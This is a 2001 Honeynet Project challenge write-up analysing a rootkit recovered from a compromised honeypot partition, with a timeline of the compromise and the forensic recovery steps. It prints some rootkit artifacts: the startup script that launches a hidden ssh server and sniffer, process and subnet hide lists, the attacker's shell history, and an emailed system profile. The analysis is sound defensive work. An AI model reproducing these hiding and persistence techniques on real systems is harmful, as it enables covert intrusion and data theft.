From matt@palecrow.com Tue May 22 22:37:27 2001 Date: Sun, 06 May 2001 10:47:04 -0500 From: Matt Borland To: project@honeynet.org Subject: Scan of the month Hello-- Here's my submission for the May scan. Thanks! Matt Borland Minneapolis [ Part 2: "Attached Text" ] ######################################################## Summary of Rootkit Installation Honeynet.org Scan of the Month - May ######################################################## Matt Borland 5/5/2001 This document provides a summary of my analysis of a March 15 2001 compromise of one of honeynet.org's 'honeypots.' The objective of this exercise is to identify and retrieve the rootkit which was installed and subsequently deleted from the system, using only a dump of the root partition. The target system was a Pentium MMX/200MHz with about 4 GB of total disk space. The system had very recently undergone either an installation or an upgrade to Red Hat Linux 6.2, and had very little modification of the installation prior to the compromise. The compromise involved the placement of a rootkit, its unpacking and installation, and some evidence at further attempts at installation of other tools. The rootkit was deleted, but was recoverable from the partition dump file provided in the assignment. In my analysis I was unable to determine the initial nature of the compromise, but from analyzing the filesystem I was able to ascertain a coherent timeline of the attack. The rootkit was designed to: * disguise the attacker's expected processes, and network traffic with the attacker's probable points of entry * run a surreptitious ssh server and network sniffer * mail system information back to the attacker (or script author) * install a binary cgi for access by the attacker The filesystem I analyzed did not show many signs that the attacker had modified much on that system after the rootkit installation, but did indicate that they had downloaded at least one other set of tools and installed and ran them on the target system. They also had sufficient time to retrieve data from the target site if they so desired. The rootkit replaced a number of critical files which it assumed to exist in default locations. These are: * /sbin/ifconfig * /bin/netstat * /bin/ps * /etc/inetd.conf * /etc/services * /usr/bin/lsattr (less critical) * /etc/rc.d/rc.sysinit Despite these measures, this particular rootkit is not always stealthy in hiding its traces. Often, it takes simple, brute approaches to solving problems and as a result, creates the opportunity for detection. Similarly, it appears as though it hasn't been refined, as there exist several contradictions and unintentional redundancies within the rootkit. ######################################################## Evidence in the Rootkit Compromise ######################################################## Contents: * Description of the rootkit, and its parts explained * Description of the installation script * A timeline of the compromise of this system * Retrieving the rootkit * Final notes ######################################################## Description of the rootkit ######################################################## I will begin with the rootkit. This was easy to find using Wietse Venema's Coroner's Toolkit. However, I will explain this recovery process later, when describing the assembly of the timeframe, and for now describe the rootkit contents. The rootkit was found on deleted inode 23 of the filesystem. It is a tar/gzipped file containing the tools necessary for creating a home for the attacker on the compromised system. Due to evidence within the installation program contained within, I will call this rootkit 'lk.tgz.' Here are its contents: drwxr-xr-x 1031/users 0 2001-02-26 14:40:30 last/ -rwxr-xr-x 1031/users 611931 2002-02-08 07:08:13 last/ssh -rw-r--r-- 1031/users 1 2001-02-26 09:29:58 last/pidfile -rwx------ 1031/users 3713 2001-03-02 21:08:37 last/install -rwx------ 1031/users 7165 2001-02-26 09:22:50 last/linsniffer -rwxr-xr-x 1031/users 1345 1999-09-09 10:57:11 last/cleaner -rw-r--r-- 1031/users 3278 2001-01-27 09:11:32 last/inetd.conf -rwxr-xr-x 1031/users 79 2001-02-26 09:28:40 last/lsattr -rw-r--r-- 1031/users 11407 2001-01-27 09:11:44 last/services -rwxr-xr-x 1031/users 4060 2001-02-26 09:22:55 last/sense -rw-r--r-- 1031/users 880 2000-10-22 14:29:44 last/ssh_config -rw------- 1031/users 540 2000-10-22 14:29:44 last/ssh_host_key -rw-r--r-- 1031/users 344 2000-10-22 14:29:44 last/ssh_host_key.pub -rw------- 1031/users 512 2000-10-22 14:29:44 last/ssh_random_seed -rw-r--r-- 1031/users 688 2001-02-26 09:29:51 last/sshd_config -rwx------ 1031/users 8268 2001-02-26 09:22:59 last/sl2 -rwxr-xr-x 1031/users 4620 2001-02-26 09:23:10 last/last.cgi -rwxr-xr-x 1031/users 33280 2001-02-26 09:23:33 last/ps -rwxr-xr-x 1031/users 35300 2001-02-26 09:23:42 last/netstat -rwxr-xr-x 1031/users 19840 2001-02-26 09:23:47 last/ifconfig -rwxr-xr-x 1031/users 53588 2001-02-26 09:23:55 last/top -rwx------ 1031/users 75 2001-02-26 09:24:03 last/logclear -rw-r--r-- root/root 708 2001-03-02 21:05:12 last/s -rwxr-xr-x 1031/users 632066 2001-02-26 08:46:04 last/mkxfs The script author seems to name this package 'last,' for which reason I was unable to determine. The rootkit installation file seems to indicate that the package was meant to be installed at the filesystem root ('/'), creating the directory '/last' containing, as shown above, the body of the rootkit. I will now describe each of the entries in this rootkit. Please note that in my account, I have not executed any of the binaries, not having a safe environment for doing so. Please understand that because of this, I may not be fully aware of their function and that if you run them you may suffer undesirable results. A preceding '*' indicates that the file, though contained in the rootkit, is not used in the installation. last/ This is the subdirectory containing all of the elements of the rootkit. *last/ssh This is the ssh client binary, for contacting ssh servers. Not installed, but it could be used by the attacker prior to installation. *last/pidfile This is unused, and probably was copied as part of the ssh server installation (more on ssh server later). last/install This is the installation script. It is intended to be run after unpacking lk.tgz, and removes the rootkit from the host system. This script is fully explained in the following section. last/linsniffer This is a simple packet sniffer, which is one of the daemon components of the rootkit. It is meant to run and supply information to the attacker. *last/cleaner This script clears various log files. However, it is neither installed nor executed in the install script. It may, however, be run by the attacker on unpacking the rootkit. last/inetd.conf This is a replacement for the system's /etc/inetd.conf file. last/lsattr This is a script which, after rootkit installation, is run from /etc/rc.d/rc.sysinit (a startup file) and starts the 'linsniffer' process as well as the 'mkxfs' ssh server. It is also started by the rootkit installation process. last/services This is a replacement for the system's /etc/services file. last/sense I was unable to determine the nature of this binary. *last/ssh_config This is the ssh client configuration. last/ssh_host_key This file contains the ssh server private key. *last/ssh_host_key.pub This file contains the ssh server public key. last/ssh_random_seed This file contains the ssh server random seed, and it is rewritten on use. *last/sshd_config This is the default configuration for the ssh server. last/sl2 This is 'slice2,' a cracking tool. last/last.cgi This binary is used to communicate or run code from a remote web browser. I did NOT ascertain the nature of this program because I do not have proper testing facilities. last/ps This is the binary replacement for /bin/ps. It presumably changes the functionality of the standard program to ignore the display of processes as determined by the attacker (more on these exclusions later). last/netstat This is the binary replacement for /bin/netstat, and similar to the binary above, it allows certain network operations to go unmonitored. last/ifconfig This is the binary replacement for /sbin/ifconfig. last/top This is the binary replacement for /usr/bin/top. last/logclear This is a simple script which restarts the sniffer and removes its logs. last/s This is the configuration file for the ssh server. last/mkxfs This is the ssh server, given another name supposedly to avoid detection. ######################################################## Description of the installation script ######################################################## Following is a step-by-step description of the installation process, as determined by the 'last/install' file: a) it instructs the shell to stop logging the script's commands. b) it checks to see if certain files are on the system (make, gcc, sshd). The positive or negative results do not affect the installation. c) it completely replaces: * /sbin/ifconfig * /bin/netstat * /bin/ps * /usr/bin/top with its own binaries. Please note that these are precompiled binaries, which means that the time and footprint to install is significantly reduced compared to a kit which compiles sources. d) it creates two files, with the following purpose: * /dev/rpm - which lists process names to exclude from ps and top. * /dev/last - which lists subnets and ports to exclude from netstat. These are similar to a rootkit described here: http://www.sans.org/y2k/013101-1000.htm The files contain: /dev/rpm (indented): 3 sl2 3 sshdu 3 linsniffer 3 smurf 3 slice 3 mech 3 muh 3 bnc 3 psybnc /dev/last (indented): 1 193.231.139 1 213.154.137 1 193.254.34 3 48744 3 3666 3 31221 3 22546 4 48744 4 2222 This indicates that the attacker probably connects from either of the listed subnets, and expects to possibly use the tools/commands listed above, a sort of 'preview of coming attractions.' e) it creates two hidden directories: * '/dev/ida/.drag-on' * '/dev/ida/.. ' - PLEASE NOTE THE FOLLOWING SPACE. Both of these directories then are populated with the following files from the rootkit: * linsniffer * logclear * sense * sl2 * mkxfs * s * ssh_host_key * ssh_random_seed Also, the following file is created in both directories: * tcp.log f) it replaces /etc/inetd.conf and /etc/services with its own copies, then restarts the inetd service. g) it removes the rarely-used binary /usr/bin/lsattr and replaces it with its own script, which as previously described, starts the linsniffer and ssh server processes. last/lsattr (indented): #!/bin/sh cd /dev/ida/.drag-on ./mkxfs -f ./s ./linsniffer >> ./tcp.log & cd / h) it appends the lsattr command to the startup script /etc/rc.d/rs.sysinit, so it will be re-run on startup: /usr/bin/lsattr -t1 -X53 -p i) it modifies the /usr/bin/lsattr entry to be 'r-x------', or only root read and execute, and makes the file immutable (chattr +i). j) it runs /usr/bin/lsattr k) it sleeps for a second; it has done a lot of work and wants to give a second for the two processes to kick open. l) it installs, or tries to install, the 'last.cgi' binary to the following likely Apache cgi-bin directories: * /home/httpd/cgi-bin * /usr/local/httpd/cgi-bin * /usr/local/apache/cgi-bin * /www/httpd/cgi-bin * /www/cgi-bin m) it appends system information to a file called 'computer'. The information obtained is: * Host/domain name, OS version, date/timezone, and cpu type * IP address and subnet * System uptime * Processor vendor, model, clock and actual speed * Location, size and remaining space on mounted volumes This information is then mailed to: * last@linuxmail.org, with subject 'placinte' * bidi_damm@yahoo.com, with subject 'roote' n) it then returns to /, where lk.tgz had allegedly been placed and unpacked, and deletes: * last (the directory and all its contents) * lk.tgz (one possible name for the rootkit) * computer (the file with the system profile) * lk.tar.gz (an alternate name for the rootkit) ######################################################## The timeline of the compromise ######################################################## I started this part of the investigation by looking at the existing files in the root partition, after having mounted it, and seeing what had been modified recently. For example, I mounted the partition: # mount -o ro,loop,nodev,noexec honeynet/honeypot.hda8.dd hp Within the mounted directory I ran: [root@localhost hp]# find -not -type d -not -type l -print0 | xargs -0 ls -ldartc > ../ordered_file_listing.txt Note that I didn't include directory listings or links in the find clause. I found it easier to read through that way. There is more than one way to do it. Please note that at times I use the real (local) root user to access files, and others I don't. I try to do as little with root privileges as possible, but on the other hand, the mounted filesystem has many root-only files which, without a little extra intervention, are not readable by a normal user. Perhaps I should figure out the best method of providing 'extra intervention.' >From analyzing the large results, I found that the file modification times fell into several categories: a) Mar 15 -05:20 : a large number of changes to almost all system files. Last file changed in this block was /etc/lilo.conf b) Mar 15 11:22-11:34 : some network-configuration files changed, and tty1-tty6 were last modified. Last file changed was /dev/tty1. c) Mar 15 19:45 : a number of unusually-named files are modified, as well as system binaries, startup scripts, etc. Last file changed is /dev/ida/.. /mkxfs. d) Mar 16 08:45-08:53 : some login/access related files are changed. Last file changed is /dev/ttyp0 e) Mar 16 10:28 : one file is changed, /dev/ida/.drag-on/tcp.log. Now, it is important to keep in mind that between these times, files may be changing, and these are simply their last-changed times. This list is still invaluable, because it shows periods and areas of activity. It struck me that activity in period (a) looked exactly like an operating system installation. The file changes seem to indicate a standard progression through a Red Hat installation. The last file to change in period (a) is /etc/lilo.conf, which is the last file changed prior to reboot after an installation or upgrade. I can only presume that this is a 'white-hat' installation. Activity in period (b) similarly seemed pretty mundane, either post-installation tweaking or standard bootup activity. Note that these files may also have been modified several times since period (a), so it's not necessarily as though this was the first bootup since installation. However, period (b) seems to be the last successful bootup prior to the dump of the partition. Note that this is the last time /dev/tty* were initialized. Also note that presumably the 'white-hat' sysadmin interacted with this system on console 1, and logged off at 11:34, when /dev/tty1 was reset. I would guess that the sysadmin did some last-minute network configuration. Clearly, things are going badly for the system in period (c). All of these files are changed within the period of a minute, and include monitor programs in root-only directories, etc. # find -cnewer dev/tty1 -not -type d -not -type l -print0 | xargs -0 ls -ldartco -rwxr-xr-x 1 root 19840 Mar 15 19:45 ./sbin/ifconfig -rw-r--r-- 1 root 71 Mar 15 19:45 ./dev/rpm -rw-r--r-- 1 root 87 Mar 15 19:45 ./dev/last -rw------- 1 root 540 Mar 15 19:45 ./dev/ida/.drag-on/ssh_host_key -rwx------ 1 root 8268 Mar 15 19:45 ./dev/ida/.drag-on/sl2 -rwxr-xr-x 1 root 4060 Mar 15 19:45 ./dev/ida/.drag-on/sense -rw-r--r-- 1 root 708 Mar 15 19:45 ./dev/ida/.drag-on/s -rwxr-xr-x 1 root 632066 Mar 15 19:45 ./dev/ida/.drag-on/mkxfs -rwx------ 1 root 75 Mar 15 19:45 ./dev/ida/.drag-on/logclear -rwx------ 1 root 7165 Mar 15 19:45 ./dev/ida/.drag-on/linsniffer -rwx------ 1 root 8268 Mar 15 19:45 ./dev/ida/.. /sl2 -rwxr-xr-x 1 root 4060 Mar 15 19:45 ./dev/ida/.. /sense -rwx------ 1 root 75 Mar 15 19:45 ./dev/ida/.. /logclear -rwx------ 1 root 7165 Mar 15 19:45 ./dev/ida/.. /linsniffer -rwxr-xr-x 1 root 33280 Mar 15 19:45 ./bin/ps -rwxr-xr-x 1 root 35300 Mar 15 19:45 ./bin/netstat -rw-r--r-- 1 root 11407 Mar 15 19:45 ./etc/services -rwxr-xr-x 1 root 13708 Mar 15 19:45 ./etc/rc.d/rc.sysinit -rw-r--r-- 1 root 3278 Mar 15 19:45 ./etc/inetd.conf -rw-r--r-- 1 root 0 Mar 15 19:45 ./dev/ida/.. /tcp.log -rw------- 1 root 512 Mar 15 19:45 ./dev/ida/.. /ssh_random_seed -rw------- 1 root 540 Mar 15 19:45 ./dev/ida/.. /ssh_host_key -rw-r--r-- 1 root 708 Mar 15 19:45 ./dev/ida/.. /s -rwxr-xr-x 1 root 632066 Mar 15 19:45 ./dev/ida/.drag-on/mkxfs -rwx------ 1 root 75 Mar 15 19:45 ./dev/ida/.drag-on/logclear -rwx------ 1 root 7165 Mar 15 19:45 ./dev/ida/.drag-on/linsniffer -rwx------ 1 root 8268 Mar 15 19:45 ./dev/ida/.. /sl2 -rwxr-xr-x 1 root 4060 Mar 15 19:45 ./dev/ida/.. /sense -rwx------ 1 root 75 Mar 15 19:45 ./dev/ida/.. /logclear -rwx------ 1 root 7165 Mar 15 19:45 ./dev/ida/.. /linsniffer -rwxr-xr-x 1 root 33280 Mar 15 19:45 ./bin/ps -rwxr-xr-x 1 root 35300 Mar 15 19:45 ./bin/netstat -rw-r--r-- 1 root 11407 Mar 15 19:45 ./etc/services -rwxr-xr-x 1 root 13708 Mar 15 19:45 ./etc/rc.d/rc.sysinit -rw-r--r-- 1 root 3278 Mar 15 19:45 ./etc/inetd.conf -rw-r--r-- 1 root 0 Mar 15 19:45 ./dev/ida/.. /tcp.log -rw------- 1 root 512 Mar 15 19:45 ./dev/ida/.. /ssh_random_seed -rw------- 1 root 540 Mar 15 19:45 ./dev/ida/.. /ssh_host_key -rw-r--r-- 1 root 708 Mar 15 19:45 ./dev/ida/.. /s -rwxr-xr-x 1 root 632066 Mar 15 19:45 ./dev/ida/.. /mkxfs As you can see, a very formidable list of files all changed within the same mintue. This is definitely the work of a rootkit. Period (d) comes quite a bit after the dreadful period (c) (~13 hours). It contains the following entries: -rw------- 1 root 512 Mar 16 08:45 ./dev/ida/.drag-on/ssh_random_seed -rw------- 1 root 0 Mar 16 08:52 ./etc/ftpaccess -rw------- 1 root 211 Mar 16 08:53 ./root/.bash_history crw-rw-rw- 1 root 3, 0 Mar 16 08:53 ./dev/ttyp0 This looks like a login to the ssh server (mkxfs) running at /dev/ida/.drag-on. The /dev/ttyp0 is a reset at the end of the login session. The ssh_random_seed is reset for the sshd server on establishment of an ssh connection, and shortly thereafter, at a slower pace than the scripted work in (c), a few files in this partition are changed. This activity can be easily determined, luckily, because the attacker, who I presume this is, forgot to 'unset' their history file, and thus their tracks are recorded in /root/.bash_history. /root/.bash_history (indented): exec tcsh ls mkdir /var/... ls cd /var/... ftp ftp.home.ro tar -zxvf emech-2.8.tar.gz cd emech-2.8 ./configure y make make make install mv sample.set mech.set pico mech.set ./mech cd /etc pico ftpaccess ls exit Indeed, they do modify /etc/ftpaccess in the history, as also shown in the file change log. Also, their ftp to ftp.home.ro would explain the ~7 minutes between login at 8:45 and change of /etc/ftpaccess at 8:52. Please note that that download occurred within the /var/... directory, and thus it and its subsequently compiled programs are not available for recovery from the partition we are analyzing. The attacker downloaded and ran a program called 'mech' or 'emech', then modified the /etc/ftpaccess file, although I don't believe that an FTP process is running from inetd or from startup. Finally, in period (e) the very last file is modified, -rw-r--r-- 1 root 138 Mar 16 10:28 ./dev/ida/.drag-on/tcp.log This file has the content (indented): cr272065-a.wlfdle1.on.wave.home.com => asdf1 [21] ----- [Timed Out] ns2.giant.net => asdf1 [23] da#da,~daO~daO~daU~ #'da[~dac~!dan~da~? Remember that the two events, here logged by linsniffer, may have not occurred anywhere near the same time. It would seem that someone from the home.com domain tried ftp-ing into asdf1 (which is the hostname of this machine) and it timed out. Perhaps this is the error if the service is not available; I am not certain. But it would seem that the second recorded event, the telnet session from ns2.giant.net, was in fact at Mar 16 10:28, being the last reason for this file to be updated. This could be the attacker, or perhaps it is our white-hat who is confused and typing gibberish into the keyboard. Either way, they fail to log in, or if they do, they fail to leave any traces on the system of their activities. So, in summary, it seems that from looking at the undeleted portion of the partition, we can determine that the compromise and placement of the rootkit occurred sometime before Mar 15 19:45, at which time the rootkit was installed. the attacker may have entered the system multiple times since then, but if they did they did not leave any traces beyond the activity captured at 8:45 the next day. Several hours later, the system was probably disabled and the partition was dumped. >From analyzing the files deleted from the partition, we can verify this chain of events. ######################################################## Retrieving the rootkit ######################################################## Using The Coroner's Toolkit, I was able to easily get deleted-file information. The following commands are slightly modified and thus may not be syntactically correct. If you deplore creating scads of files, you could instead use pipes to achieve your goals more quickly. $ ils honeynet/honeypot.hda8.dd > ilsdump.txt $ ils2mac ilsdump.txt > deletedfiles.txt $ mactime -p ../hp/etc/passwd -g ../hp/etc/group -b deletedfiles.txt 1/1/2001 > mactime.txt 'ilsdump.txt' gives you pretty raw information about each of the deleted inodes. For example: 23|f|0|0|984706608|984707090|984707105|984707105|100644|0|520333|307|308 2038|f|1031|100|984707105|984707105|984707105|984707169|40755|0|0|8481|0 2039|f|0|0|1013173693|984707090|984707105|984707105|100755|0|611931|8482|8483 The first field is the inode number; the size of the file is the one located two before the last field, and the big numbers in the middle are date fields. This is all explained in the tool's documentation. The file 'deletedfiles.txt,' produced by ils2mac, reformats and merges the information with the partition information, so if you have multiple partitions in your analysis, you can have a single file with unique references to inodes. The file 'mactime.txt,' produced by mactime, orders and groups each of these inode listings into a time stream, showing which inodes are modified, accessed and changed at what times. This is really useful for putting together a chain of events. Once you've found an interesting inode, you may want to extract it to a real file. The tool 'icat' does this. I used icat to extract the first file, specifying the inode using the following commands: $ icat honeynet/honeypot.hda8.dd 23 > recovered/file-23 Then using 'file,' I am given a guess at the type of file. $ file recovered/file-23 recovered/file-23: gzip compressed data, deflated, last modified: Fri Mar 2 21:09:06 2001, os: Unix At this point, I could then say: $ tar tzvf recovered/file-23 Which then lists the contents of the tar/gzipped file, which in this case returns the listing I included in my analysis of the rootkit. It was obvious from the first glance that this was the rootkit, for it contained most of the files modified in period (c). From there, it was easy to relate the files within that archive to deleted inodes, though for our purposes, it was not entirely necessary. Please note that because this was such a fresh installation, almost all deleted files can be accounted for! Inode Description ----- ------------ 23 lk.tgz, the rootkit 2038 the 'last' directory (created when the rootkit was unpacked) 2039 last/ssh 2040 last/pidfile 2041 last/install 2042 originally, last/linsniffer, though it may have been overwritten 2043 last/cleaner 2044 last/indet.conf 2045 last/lsattr 2046 last/services 2047 last/sense 2048 last/ssh_config 2049 last/ssh_host_key 2050 last/ssh_host_key.pub 2051 last/ssh_random_seed 2052 last/sshd_config 2053 last/sl2 2054 last/last.cgi 2058 last/top 2059 last/logclear 2060 last/s 2061 last/mkxfs 8097 (link, removed during nightly cron job) 8100 (file, removed during nightly cron job) 12107 (link, removed during nightly cron job) 16110 pam.conf (from white-hat installation) 20883 (link) 22103 " 22104 " 22105 " 22106 " 22107 " 22108 " 28172 " 30188 One of the binaries formerly known as /sbin/ifconfig, /bin/ps, and /bin/netstat 30191 " 48284 " 56231 (some file deleted during white-hat installation) There are some interesting notes on this data. First, it is important to note the modification, and presumably, the creation time of the lk.tgz file. This is done by looking through the 'mactime.txt' file created above. Look at the Modify entry for inode 23, which we identified as being that of the lk.tgz file: Mar 15 01 19:36:48 520333 m.. -rw-r--r-- root root So, the rootkit seemed to get placed at 19:36:48, about eight minutes before the installation script is run. I did find a few points of confusion. Where was the file '/computer,' which was supposedly created and removed during the rootkit installation? I can't explain where it has gone. Also, the file where 'last/linsniffer' logically should be is not linsniffer (the file in inode 2042 is too small). I presume that maybe inode 2042 was reused, thus eliminating linsniffer; '/computer' may have just had its blocks re-allocated. I do not know how Linux uses these devices well enough to explain these discrepancies. Somewhat dismayed as to the possible loss of the '/computer' file, I went directly to the partition file and searched for a string that would be pretty unique to the file: 'bogomips.' I immediately was able to recover some raw text from the partition file; in fact, a similar fragment, one for each of the emails sent in the install script. Looks like the output of interactions with the mail program; perhaps this is the remnant of an old pipe: ### FILE BEGINS NEXT LINE ### @To: last@linuxmail.org Subject: placinte * Info : Linux asdf1 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown * Hostname : asdf1 * IfConfig : inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0 inet addr:172.16.1.108 Bcast:172.16.1.255 Mask:255.255.255.0 * Uptime : 7:45pm up 8:23, 0 users, load average: 0.00, 0.00, 0.00 * Cpu Vendor ID : vendor_id : GenuineIntel * Cpu Model : model : 4 model name : Pentium MMX * Cpu Speed: cpu MHz : 200.457171 * Bogomips: bogomips : 399.77 * Spatiu Liber: Filesystem Size Used Avail Use% Mounted on /dev/hda8 251M 33M 205M 14% / /dev/hda1 23M 2.4M 19M 11% /boot /dev/hda6 1.6G 2.1M 1.5G 0% /home /dev/hda5 1.6G 367M 1.2G 23% /usr /dev/hda7 251M 5.3M 232M 2% /var ### FILE ENDED PREVIOUS LINE ### This corroborates everything in our timeframe, and in fact also proves our guess that the last bootup was at 11:22 am that day (period b, in our example). So, this helps me a little bit, although now I'm mystified by the missing 'swap' partition, described in the README file provided with the partition dump, which is not listed in either version of the file I have found. It seems I have chanced upon some sort of flotsam from a system pipe, and it didn't buffer the last line. Either way, I presume the swap partition took the remaining disk space and this made /dev/hda come out to a round 4GB. Regardless, this contains almost exactly what the elusive '/computer' file should have had, and further solidifies the timeline. ######################################################## Final notes ######################################################## A few final notes. One interesting note about this rootkit is that it does not create a new user for the attacker. Instead, it probably runs its version of sshd with an ability to log the attacker directly into the root account, without any form of validation. Also, it provides some sort of remote querying or access through its last.cgi script that it placed in the target system's web directory. There were some inconsistencies I noticed about this particular rootkit. First, the processes which were singled out for repression with /bin/ps and /usr/bin/top did not always include the likely processes that would be running. For instance, 'mkxfs' was not listed as a process to exclude from the monitors, but sshdu, which was not part of the rootkit, was. Similarly, I believe that the ssh server process was set up to use port 5, as referenced in /dev/ida/.drag-on/s, though that port is not listed for exclusion on the network-suppression list. I imagine that it would show up as a listening port using even the munged /bin/netstat query. Another irregularity was duplication of files in '/dev/ida/.. ' and '/dev/ida/.drag-on'. These shared the exact same files, yet only files in the latter were every accessed or executed. Perhaps compiled-in binary values forced a dual-installation, or perhaps it was another example of an oversight on the part of the rootkit author. Similarly, the complete over-writing of /etc/inetd.conf would most likely be noticed by a system administrator, because any configured services other than those used in the attack would be disabled at the time of the install script. In short, this rootkit, though effective in quickly establishing a home base for the attacker, seems to do so with a moderately large footprint. I would imagine that a more calculating attack would modify or at least move rather than delete such files, in order to give the attacker the opportunity to make the cracked system seem as pristine as possible. I have done absolutely nothing to investigate the identify of the attacker, save that they seem to have used at least one resource in Romania (ftp.home.ro) and the subnets seem to originate from that area. I have also been unable to determine the means by which the rootkit was placed on the system. Perhaps a network intrusion log, or the /var/log directory, can be analyzed to determine the nature of the intrusion. In closing, I would like to thank the organizers of the Honeynet Project for providing this exercise. It provides people like me, who have general administrative knowledge, with a hands-on, realistic and yet safe environment in which to broaden our knowledge in matters of information security. Going beyond academic training, it supplies real training, like the elementary school fire drill, lest the need for this knowledge arise.